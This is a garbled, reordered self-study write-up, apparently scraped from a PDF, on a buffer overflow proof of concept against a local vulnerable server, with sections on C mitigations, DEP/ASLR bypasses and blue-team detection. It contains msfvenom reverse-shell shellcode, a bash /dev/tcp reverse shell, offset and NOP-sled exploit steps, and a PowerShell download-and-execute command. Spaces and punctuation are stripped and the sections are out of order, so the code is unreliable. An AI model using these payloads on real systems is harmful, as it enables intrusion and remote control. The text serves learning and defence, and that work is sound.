xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
